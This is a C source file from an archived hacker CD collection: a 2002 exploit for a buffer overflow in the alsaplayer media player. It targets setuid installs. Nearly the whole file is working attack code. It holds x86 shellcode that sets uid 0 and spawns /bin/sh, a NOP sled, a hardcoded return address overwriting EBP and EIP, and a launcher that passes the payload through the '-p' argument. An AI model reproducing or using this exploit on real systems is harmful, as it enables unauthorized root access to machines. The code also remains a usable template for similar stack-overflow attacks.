home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / alsaplayer / alsaplayer-suid.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  2.1 KB  |  83 lines

  1. /* 
  2.  * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com) 
  3.  * 
  4.  * This program is not installed with special permissions by default. 
  5.  * However, the author himself does recommend to do so under certain 
  6.  * conditions:
  7.  *
  8.  * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
  9.  *
  10.  * Author: zillion[at]safemode.org (09/2002)
  11.  *
  12.  * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
  13.  *
  14.  */
  15.  
  16. #include <unistd.h>
  17. #include <sys/stat.h>
  18. #include <string.h>
  19.  
  20. #define BUFFER_SIZE 1056
  21. #define NOP 0x90
  22. #define RET 0xbfffe440 
  23.  
  24. char shellcode[]=
  25.  
  26. "\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80" 
  27. "\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
  28. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
  29. "\x2f\x62\x69\x6e\x2f\x73\x68"; 
  30.  
  31. void print_error(char * burb) { 
  32.   printf(" Error: %s !\n",burb); exit(0); 
  33. }
  34.  
  35. void usage(char *progname) {
  36.   printf("\n*--- -- -  Alsaplayer b0f exploit - -- ---*\n");
  37.   printf("\nDefault: %s  -f /path/to/alsaplayer",progname);
  38.   printf("\nOption : %s  -o <offset>\n\n",progname);
  39.   exit(0);
  40. }
  41.  
  42. int main(int argc, char **argv){
  43.   
  44.   char buffer[BUFFER_SIZE];
  45.   char file[30];
  46.   long retaddress;
  47.   int arg,offset=500;
  48.   
  49.   struct stat sbuf;
  50.   
  51.   if(argc < 2) { usage(argv[0]); }
  52.   
  53.   while ((arg = getopt (argc, argv, "f:o:")) != -1){ 
  54.     switch (arg){ 
  55.     case 'f': 
  56.       strncpy(file,optarg,sizeof(file));
  57.       if(stat(argv[2], &sbuf)) { print_error("No such file");}
  58.       break; 
  59.     case 'o':       
  60.       offset = atoi(optarg);
  61.       if(offset < 0) { print_error("Offset must be positive");}
  62.       break; 
  63.     default :       
  64.       usage(argv[0]); 
  65.     } 
  66.   } 
  67.   
  68.   retaddress = (RET - offset);
  69.   memset(buffer,NOP,BUFFER_SIZE);
  70.   memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);
  71.   
  72.   /* Overwrite EBP and EIP */
  73.   *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  74.   *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;
  75.   
  76.   if(execl(file,file,"-p",buffer,NULL) != 0) {
  77.     print_error("Could not execute alsaplayer ");
  78.   }
  79.   
  80.   return 0;
  81.   
  82. }
  83.